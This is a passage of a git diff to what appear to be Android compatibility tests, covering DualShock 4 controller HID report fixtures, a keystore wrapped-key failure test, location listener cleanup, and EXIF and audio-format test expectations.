+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_L1"},
+      {"action": "UP", "keycode": "BUTTON_L1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R1",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x02, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa7,
+      0x79, 0x33, 0xce],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_R1"},
+      {"action": "UP", "keycode": "BUTTON_R1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L2",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x04, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa4,
+      0x91, 0x37, 0xa1],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_L2"},
+      {"action": "UP", "keycode": "BUTTON_L2"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R2",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x08, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa2,
+      0x41, 0x3e, 0x7f],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_R2"},
+      {"action": "UP", "keycode": "BUTTON_R2"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L3",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x40, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x34, 0x62, 0x90],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBL"},
+      {"action": "UP", "keycode": "BUTTON_THUMBL"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R3",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x80, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea,
+      0x0a, 0x95, 0x1d],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBR"},
+      {"action": "UP", "keycode": "BUTTON_THUMBR"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_SHARE",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x10, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xef,
+      0xe7, 0x5c, 0x18],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_SELECT"},
+      {"action": "UP", "keycode": "BUTTON_SELECT"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_OPTIONS",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x20, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x75,
+      0xab, 0x99, 0xd6],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_START"},
+      {"action": "UP", "keycode": "BUTTON_START"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_PS",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x01, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7f,
+      0x71, 0x0a, 0xdd],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_MODE"},
+      {"action": "UP", "keycode": "BUTTON_MODE"}
+    ]
   }
+
 ]
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4_register.json b/tests/tests/hardware/res/raw/sony_dualshock4_register.json
index d91ed17..23aae6f 100644
--- a/tests/tests/hardware/res/raw/sony_dualshock4_register.json
+++ b/tests/tests/hardware/res/raw/sony_dualshock4_register.json
@@ -30,5 +30,13 @@
     0x45, 0xb1, 0x02, 0x85, 0xa8, 0x09, 0x45, 0xb1, 0x02, 0x85, 0xa9, 0x09, 0x45, 0xb1, 0x02, 0x85,
     0xaa, 0x09, 0x45, 0xb1, 0x02, 0x85, 0xab, 0x09, 0x45, 0xb1, 0x02, 0x85, 0xac, 0x09, 0x45, 0xb1,
     0x02, 0x85, 0xad, 0x09, 0x45, 0xb1, 0x02, 0x85, 0xb1, 0x09, 0x45, 0xb1, 0x02, 0x85, 0xb2, 0x09,
-    0x46, 0xb1, 0x02, 0x85, 0xb3, 0x09, 0x45, 0xb1, 0x02, 0x85, 0xb4, 0x09, 0x46, 0xb1, 0x02, 0xc0]
+    0x46, 0xb1, 0x02, 0x85, 0xb3, 0x09, 0x45, 0xb1, 0x02, 0x85, 0xb4, 0x09, 0x46, 0xb1, 0x02, 0xc0],
+  "feature_reports": [
+    {
+      "id": 5,
+      "data": [0x05, 0x1e, 0x00, 0x05, 0x00, 0xe2, 0xff, 0xf2, 0x22, 0xbe, 0x22, 0x8d, 0x22, 0x4f,
+        0xdd, 0x4d, 0xdd, 0x39, 0xdd, 0x1c, 0x02, 0x1c, 0x02, 0xe3, 0x1f, 0x8b, 0xdf, 0x8c, 0x1e,
+        0xb4, 0xde, 0x30, 0x20, 0x71, 0xe0, 0x10, 0x00, 0xca, 0xfc, 0x64, 0x4d]
+    }
+  ]
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/ImportWrappedKeyTest.java b/tests/tests/keystore/src/android/keystore/cts/ImportWrappedKeyTest.java
index eeb16b6..7a03aaf 100644
--- a/tests/tests/keystore/src/android/keystore/cts/ImportWrappedKeyTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/ImportWrappedKeyTest.java
@@ -65,7 +65,15 @@
 import javax.crypto.spec.PSource;
 import javax.crypto.spec.SecretKeySpec;
 
+import java.lang.Process;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.lang.InterruptedException;
+
 public class ImportWrappedKeyTest extends AndroidTestCase {
+    private static final String TAG = "ImportWrappedKeyTest";
 
     private static final String ALIAS = "my key";
     private static final String WRAPPING_KEY_ALIAS = "my_favorite_wrapping_key";
@@ -117,6 +125,24 @@
         assertEquals(new String(c.doFinal(encrypted)), "hello, world");
     }
 
+    public void testKeyStore_ImportWrappedKeyWrappingKeyMissing() throws Exception {
+        final String EXPECTED_FAILURE = "Failed to import wrapped key. Keystore error code: 7";
+        String failureMessage = null;
+
+        try {
+            byte [] fakeWrappedKey = new byte[1];
+            importWrappedKey(fakeWrappedKey, WRAPPING_KEY_ALIAS + "_Missing");
+        } catch (KeyStoreException e) {
+            failureMessage = e.getMessage();
+        }
+
+        if (failureMessage == null) {
+            fail("Did not hit a failure but expected one");
+        }
+
+        assertEquals(failureMessage, EXPECTED_FAILURE);
+    }
+
     public void testKeyStore_ImportWrappedKey_3DES() throws Exception {
       if (!TestUtils.supports3DES()) {
           return;
@@ -258,19 +284,23 @@
         }
     }
 
-    public void importWrappedKey(byte[] wrappedKey) throws Exception {
+    public void importWrappedKey(byte[] wrappedKey, String wrappingKeyAlias) throws Exception {
         KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
         keyStore.load(null, null);
 
-        AlgorithmParameterSpec spec = new KeyGenParameterSpec.Builder(WRAPPING_KEY_ALIAS,
+        AlgorithmParameterSpec spec = new KeyGenParameterSpec.Builder(wrappingKeyAlias,
                 KeyProperties.PURPOSE_WRAP_KEY)
                 .setDigests(KeyProperties.DIGEST_SHA1)
                 .build();
-        Entry wrappedKeyEntry = new WrappedKeyEntry(wrappedKey, WRAPPING_KEY_ALIAS,
+        Entry wrappedKeyEntry = new WrappedKeyEntry(wrappedKey, wrappingKeyAlias,
                   "RSA/ECB/OAEPPadding", spec);
         keyStore.setEntry(ALIAS, wrappedKeyEntry, null);
     }
 
+    public void importWrappedKey(byte[] wrappedKey) throws Exception {
+        importWrappedKey(wrappedKey, WRAPPING_KEY_ALIAS);
+    }
+
     public byte[] wrapKey(PublicKey publicKey, byte[] keyMaterial, byte[] mask,
             DERSequence authorizationList)
             throws Exception {
diff --git a/tests/tests/keystore/src/android/server/am/WindowManagerState.java b/tests/tests/keystore/src/android/server/am/WindowManagerState.java
index ec3e00c..b4a8e9e 100644
--- a/tests/tests/keystore/src/android/server/am/WindowManagerState.java
+++ b/tests/tests/keystore/src/android/server/am/WindowManagerState.java
@@ -339,7 +339,6 @@
     static class WindowTask extends WindowContainer {
 
         int mTaskId;
-        Rect mTempInsetBounds;
         List<String> mAppTokens = new ArrayList<>();
 
         WindowTask(TaskProto proto) {
@@ -358,7 +357,6 @@
                     mSubWindows.addAll(window.getWindows());
                 }
             }
-            mTempInsetBounds = extract(proto.tempInsetBounds);
         }
     }
 
diff --git a/tests/tests/location/src/android/location/cts/GnssNavigationMessageTest.java b/tests/tests/location/src/android/location/cts/GnssNavigationMessageTest.java
index af5e943..99c4067 100644
--- a/tests/tests/location/src/android/location/cts/GnssNavigationMessageTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssNavigationMessageTest.java
@@ -42,6 +42,7 @@
     private static final String TAG = "GpsNavMsgTest";
     private static final int EVENTS_COUNT = 5;
     private TestGnssNavigationMessageListener mTestGnssNavigationMessageListener;
+    private TestLocationListener mLocationListener;
 
     @Override
     protected void setUp() throws Exception {
@@ -51,6 +52,10 @@
 
     @Override
     protected void tearDown() throws Exception {
+        // Unregister listeners
+        if (mLocationListener != null) {
+            mTestLocationManager.removeLocationUpdates(mLocationListener);
+        }
         // Unregister GnssNavigationMessageListener
         if (mTestGnssNavigationMessageListener != null) {
             mTestLocationManager
@@ -73,6 +78,9 @@
             return;
         }
 
+        mLocationListener = new TestLocationListener(EVENTS_COUNT);
+        mTestLocationManager.requestLocationUpdates(mLocationListener);
+
         // Register Gps Navigation Message Listener.
         mTestGnssNavigationMessageListener =
                 new TestGnssNavigationMessageListener(TAG, EVENTS_COUNT);
diff --git a/tests/tests/location2/src/android/location2/cts/LocationManagerTest.java b/tests/tests/location2/src/android/location2/cts/LocationManagerTest.java
index 96c41aa..aab7c15 100644
--- a/tests/tests/location2/src/android/location2/cts/LocationManagerTest.java
+++ b/tests/tests/location2/src/android/location2/cts/LocationManagerTest.java
@@ -266,9 +266,6 @@
         addTestProvider(LocationManager.NETWORK_PROVIDER, Criteria.ACCURACY_COARSE, true, false, true);
         addTestProvider(LocationManager.GPS_PROVIDER, Criteria.ACCURACY_FINE, false, true, false);
 
-        // Unknown command
-        assertFalse(mManager.sendExtraCommand(LocationManager.NETWORK_PROVIDER, "unknown", new Bundle()));
-
         try {
             mManager.sendExtraCommand(LocationManager.GPS_PROVIDER, "unknown", new Bundle());
             fail("Should have failed to send a command to the gps provider");
diff --git a/tests/tests/media/OWNERS b/tests/tests/media/OWNERS
index 3a641f7..1adfc35 100644
--- a/tests/tests/media/OWNERS
+++ b/tests/tests/media/OWNERS
@@ -7,3 +7,4 @@
 wjia@google.com
 jtinker@google.com
 dwkang@google.com
+jmtrivi@google.com
diff --git a/tests/tests/media/libmediandkjni/native-media-jni.cpp b/tests/tests/media/libmediandkjni/native-media-jni.cpp
index 3166d84..9a2a9df 100644
--- a/tests/tests/media/libmediandkjni/native-media-jni.cpp
+++ b/tests/tests/media/libmediandkjni/native-media-jni.cpp
@@ -839,10 +839,10 @@
         return false;
     }
 
-    AMediaFormat_setInt64(format, AMEDIAFORMAT_KEY_DURATION, 123456789123456789ll);
+    AMediaFormat_setInt64(format, AMEDIAFORMAT_KEY_DURATION, 123456789123456789LL);
     int64_t duration = 0;
     if (!AMediaFormat_getInt64(format, AMEDIAFORMAT_KEY_DURATION, &duration)
-            || duration != 123456789123456789ll) {
+            || duration != 123456789123456789LL) {
         ALOGE("AMediaFormat_getInt64 fail: %lld", (long long) duration);
         return false;
     }
diff --git a/tests/tests/media/res/values/exifinterface.xml b/tests/tests/media/res/values/exifinterface.xml
index 23fbb93..3ab9364 100644
--- a/tests/tests/media/res/values/exifinterface.xml
+++ b/tests/tests/media/res/values/exifinterface.xml
@@ -17,10 +17,14 @@
 <resources>
     <array name="exifbyteorderii_jpg">
         <item>true</item>
+        <item>3500</item>
+        <item>6265</item>
         <item>512</item>
         <item>288</item>
         <item>true</item>
         <item>false</item>
+        <item />
+        <item />
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
@@ -48,10 +52,14 @@
     </array>
     <array name="exifbyteordermm_jpg">
         <item>false</item>
+        <item />
+        <item />
         <item>0</item>
         <item>0</item>
         <item>false</item>
         <item>true</item>
+        <item>572</item>
+        <item>24</item>
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
@@ -79,10 +87,14 @@
     </array>
     <array name="lg_g4_iso_800_dng">
         <item>true</item>
+        <item>0</item>
+        <item>15179</item>
         <item>256</item>
         <item>144</item>
         <item>true</item>
         <item>true</item>
+        <item>12486</item>
+        <item>24</item>
         <item>53.834507</item>
         <item>10.69585</item>
         <item>0.0</item>
@@ -110,10 +122,14 @@
     </array>
     <array name="volantis_jpg">
         <item>false</item>
+        <item />
+        <item />
         <item>0</item>
         <item>0</item>
         <item>false</item>
         <item>true</item>
+        <item>3143</item>
+        <item>24</item>
         <item>37.423</item>
         <item>-122.162</item>
         <item>0.0</item>
@@ -141,10 +157,14 @@
     </array>
     <array name="sony_rx_100_arw">
         <item>true</item>
+        <item>32176</item>
+        <item>7423</item>
         <item>160</item>
         <item>120</item>
         <item>true</item>
         <item>false</item>
+        <item />
+        <item />
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
@@ -172,10 +192,14 @@
     </array>
     <array name="canon_g7x_cr2">
         <item>true</item>
+        <item>22528</item>
+        <item>14161</item>
         <item>160</item>
         <item>120</item>
         <item>true</item>
         <item>false</item>
+        <item />
+        <item />
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
@@ -203,10 +227,14 @@
     </array>
     <array name="fuji_x20_raf">
         <item>true</item>
+        <item>2080</item>
+        <item>9352</item>
         <item>160</item>
         <item>120</item>
         <item>true</item>
         <item>false</item>
+        <item />
+        <item />
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
@@ -234,10 +262,14 @@
     </array>
     <array name="nikon_1aw1_nef">
         <item>true</item>
+        <item>0</item>
+        <item>57600</item>
         <item>160</item>
         <item>120</item>
         <item>false</item>
         <item>true</item>
+        <item>962700</item>
+        <item>24</item>
         <item>53.83652</item>
         <item>10.69828</item>
         <item>0.0</item>
@@ -265,10 +297,14 @@
     </array>
     <array name="nikon_p330_nrw">
         <item>true</item>
+        <item>32791</item>
+        <item>4875</item>
         <item>160</item>
         <item>120</item>
         <item>true</item>
         <item>true</item>
+        <item>1620</item>
+        <item>24</item>
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
@@ -296,10 +332,14 @@
     </array>
     <array name="pentax_k5_pef">
         <item>true</item>
+        <item>103520</item>
+        <item>6532</item>
         <item>160</item>
         <item>120</item>
         <item>true</item>
         <item>false</item>
+        <item />
+        <item />
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
@@ -327,10 +367,14 @@
     </array>
     <array name="olympus_e_pl3_orf">
         <item>true</item>
+        <item>19264</item>
+        <item>3698</item>
         <item>160</item>
         <item>120</item>
         <item>true</item>
         <item>false</item>
+        <item />
+        <item />
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
@@ -358,10 +402,14 @@
     </array>
     <array name="panasonic_gm5_rw2">
         <item>true</item>
+        <item>18944</item>
+        <item>6435</item>
         <item>160</item>
         <item>120</item>
         <item>true</item>
         <item>false</item>
+        <item />
+        <item />
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
@@ -389,10 +437,14 @@
     </array>
     <array name="samsung_nx3000_srw">
         <item>true</item>
+        <item>317560</item>
+        <item>3059</item>
         <item>160</item>
         <item>120</item>
         <item>true</item>
         <item>false</item>
+        <item />
+        <item />
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
diff --git a/tests/tests/media/src/android/media/cts/AudioFormatTest.java b/tests/tests/media/src/android/media/cts/AudioFormatTest.java
index e37f64e..221dcfa 100644
--- a/tests/tests/media/src/android/media/cts/AudioFormatTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioFormatTest.java
@@ -54,6 +54,10 @@
                 TEST_CONF_POS, copiedFormat.getChannelMask());
         assertEquals("New AudioFormat has wrong channel index mask",
                 TEST_CONF_IDX, copiedFormat.getChannelIndexMask());
+        assertEquals("New AudioFormat has wrong channel count",
+                6, copiedFormat.getChannelCount());
+        assertEquals("New AudioFormat has the wrong frame size",
+                6 /* channels */ * 2 /* bytes per sample */, copiedFormat.getFrameSizeInBytes());
     }
 
     // Test case 2: Use Builder to duplicate an AudioFormat with only encoding supplied
@@ -169,4 +173,25 @@
         assertEquals("Source and destination AudioFormat not equal",
                 formatToMarshall, unmarshalledFormat);
     }
+
+    // Test case 7: Check frame size for compressed, float formats.
+    public void testFrameSize() throws Exception {
+        final AudioFormat formatMp3 = new AudioFormat.Builder()
+            .setEncoding(AudioFormat.ENCODING_MP3)
+            .setSampleRate(44100)
+            .setChannelMask(AudioFormat.CHANNEL_OUT_STEREO)
+            .build();
+
+        assertEquals("MP3 AudioFormat has the wrong frame size",
+                1, formatMp3.getFrameSizeInBytes());
+
+        final AudioFormat formatPcmFloat = new AudioFormat.Builder()
+            .setEncoding(AudioFormat.ENCODING_PCM_FLOAT)
+            .setSampleRate(192000)
+            .setChannelMask(AudioFormat.CHANNEL_OUT_STEREO)
+            .build();
+
+        assertEquals("Float AudioFormat has the wrong frame size",
+            2 /* channels */ * 4 /* bytes per sample */, formatPcmFloat.getFrameSizeInBytes());
+    }
 }
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index 4c46420..d59d689 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -194,29 +194,6 @@
         }
     }
 
-    // helper class to simplify that abstracts out the handling of spurious wakeups in Object.wait()
-    private static final class SafeWaitObject {
-        private boolean mQuit = false;
